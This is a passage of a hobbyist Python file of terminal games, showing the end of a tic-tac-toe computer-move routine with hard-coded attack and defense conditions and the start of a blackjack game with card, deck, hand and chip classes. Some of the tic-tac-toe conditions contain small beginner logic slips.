elif (square[2] == 'O' and square[5] == 'O') or (square[7] == 'O' and square[9] == 'O'):\n if 8 in positions:\n newMove = 8\n positions.remove(newMove)\n return newMove\n else:\n return ChooseRandomSquare()\n elif (square[3] == 'O' and square[6] == 'O') or (square[7] == 'O' and square[8] == 'O') or (\n square[5] == 'O' and square[1] == 'O'):\n if 9 in positions:\n newMove = 9\n positions.remove(newMove)\n return newMove\n else:\n return ChooseRandomSquare()\n\n\n\n\n '''=======================================Defensive Moves ==================================='''\n '''====================== Seek Bottom Row defense==========================='''\n elif (square[1] == 'O' and square[2] == 'X') or (square[9] == 'X' and square[6] == 'X') or (\n square[7] == 'X' and square[5] == 'X'):\n if 3 in positions:\n newMove = 3\n positions.remove(newMove)\n return newMove\n else:\n return ChooseRandomSquare()\n elif (square[1] == 'X' and square[3] == 'X') or (square[8] == 'X' and square[5] == 'X'):\n if 2 in positions:\n newMove = 2\n positions.remove(newMove)\n return newMove\n else:\n return ChooseRandomSquare()\n elif (square[2] == 'X' and square[3] == 'X') or (square[4] == 'X' and square[7] == 'X') or (\n square[5] == 'X' and square[9] == 'X'):\n if 1 in positions:\n newMove = 1\n positions.remove(newMove)\n return newMove\n else:\n return ChooseRandomSquare()\n '''===================== Seek Mid Row Defense ==================================='''\n elif (square[7] == 'X' and square[1] == 'X') or (square[5] == 'X' and square[6]) == 'X':\n if 4 in positions:\n newMove = 4\n positions.remove(newMove)\n return newMove\n else:\n return ChooseRandomSquare()\n elif ((square[4] == 'X' and square[6] == 'X') or (square[8] == 'X' and square[2] == 'X') or\n (square[9] == 'X' and square[1] == 'X') or (square[7] == 'X' and square[3] == 'X')):\n if 5 in positions:\n newMove = 5\n positions.remove(newMove)\n return newMove\n else:\n return ChooseRandomSquare()\n elif (square[3] == 'X' and square[9] == 'X') or (square[4] == 'X' and square[5] == 'X'):\n if 6 in positions:\n newMove = 6\n positions.remove(newMove)\n return newMove\n else:\n return ChooseRandomSquare()\n '''===========================Seek Top row Defense ==================================='''\n elif (square[1] == 'X' and square[4] == 'X') or (square[8] == 'X' and square[9] == 'X') or (\n square[5] == 'X' and square[3] == 'X'):\n if 7 in positions:\n newMove = 7\n positions.remove(newMove)\n return newMove\n else:\n return ChooseRandomSquare()\n elif (square[2] == 'X' and square[5] == 'X') or (square[7] == 'X' and square[9] == 'X'):\n if 8 in positions:\n newMove = 8\n positions.remove(newMove)\n return newMove\n else:\n return ChooseRandomSquare()\n elif (square[3] == 'X' and square[6] == 'X') or (square[7] == 'X' and square[8] == 'X') or (\n square[5] == 'X' and square[1] == 'X'):\n if 9 in positions:\n newMove = 9\n positions.remove(newMove)\n return newMove\n else:\n return ChooseRandomSquare()\n '''===========================default move============================================'''\n else:\n return ChooseRandomSquare()\n\n\n #main\n '''Init section'''\n DrawBoard()\n pos = 0\n userPos = 0\n #print(WinningSequences())\n while WinningSequences() == True:\n if isUserTurn == True:\n #take user input\n #print(\"Main section output \",UserInput()) #DEBUGGING LINE\n userPos = UserInput()\n pos = userPos\n #update the game\n #print(\"Main section output, UserInput returns : \", typeChar, \" \", pos) #DEBUGGING LINE\n if square[pos] == \"X\" or square[pos] == \"O\":\n pos = SqaureIsTaken(True)\n\n if isUserTurn == False:\n PCpos = PCTurn(pos)\n pos = PCpos\n #print(pos)#DEBUGLine\n UpdateBoard(XOToggle(),pos)\n WinningSequences()\n isUserTurn = CheckTurn(isUserTurn)\n print(XOToggle(), \"'s turn...\")\n #print(positions) #DEBBUGGINGLINE\n\n\n#Game 4\n#THis is the black jack\n#Terminal version\n#Marlon C.\n\ndef BlackJack():\n playing = True\n\n suits = [\"Hearts\", \"Spades\", \"Diamonds\" ,\"Clubs\"]\n ranks = [\"Two\" , \"Three\" ,\"Four\", \"Five\", \"Six\", \"Seven\", \"Eight\", \"Nine\", \"Ten\", \"Jack\", \"Queen\", \"King\", \"Ace\"]\n values = {\"Two\": 2 , \"Three\":3 ,\"Four\":4, \"Five\":5, \"Six\":6, \"Seven\":7, \"Eight\":8, \"Nine\":9, \"Ten\":10,\n \"Jack\":10, \"Queen\":10, \"King\":10, \"Ace\":11}\n\n # class for creating card\n class Card():\n def __init__(self, suit, rank):\n self.suit = suit\n self.rank = rank\n\n def __str__(self):\n return self.rank+\" of \"+self.suit\n\n\n #class for creating deck, shuffling deck and giving random card\n class Deck():\n def __init__(self):\n self.deck = []\n for suit in suits:\n for rank in ranks:\n self.deck.append(Card(suit, rank))\n def __str__(self):\n cards = \" \"\n for card in self.deck:\n cards +=\"\\n\"+card.__str__()\n return \"We have deck as follows:\" + cards\n\n def shuffle(self):\n random.shuffle(self.deck)\n\n def deal(self):\n return self.deck.pop()\n\n\n # for managing cards of dealer and player\n class Hand():\n def __init__(self):\n self.cards = []\n self.value = 0\n self.aces = 0\n\n def add_card(self, card):\n self.cards.append(card)\n self.value += values[card.rank]\n if card.rank == \"Ace\":\n self.aces +=1\n\n def adjust_for_ace(self):\n while self.aces and self.value > 21:\n self.value -= 10\n self.aces -= 1\n\n # for managing chips of player\n class Chips():\n def __init__(self):\n self.total = 100\n self.bet = 0\n def win_bet(self):\n self.total += self.bet\n def lose_bet(self):\n self.total -= self.bet\n\n # for takeing bets\n def take_bets(chips):\n while True:\n try:\n chips.bet = int(input(\"Please enter amount of bet : \"))\n except ValueError:\n print(\"Please enter only integers\")\n else:\n if chips.bet > chips.total:\n print(\"sorry your bet can't exceed {}\".format(chips.total))\n else:\n break\n\n # for taking one card from deck\n def hit(deck, hand):\n hand.add_card(deck.deal())\n hand.adjust_for_ace()\n\n # for asking player hit or stand\n def hit_or_stand(deck ,hand):\n\n global playing\n while True:\n i = input(\"Please enter 'h' for hit and 's' for stand \")\n\n if i[0].lower() == 'h':\n hit(deck, hand)\n\n elif i[0].lower() == 's':\n print(\"player stands. Dealer is playing\")\n playing = False\n\n else:\n print(\"Sorry please Try again \")\n print(\"Enter only 'h' for hit and 's' for stand \")\n continue\n break\n\n # for showing card's when dealer one card is hidden\n def show_some(player, dealer):\n print(\"\\n\\nDealer's Hand : \")\n print(\"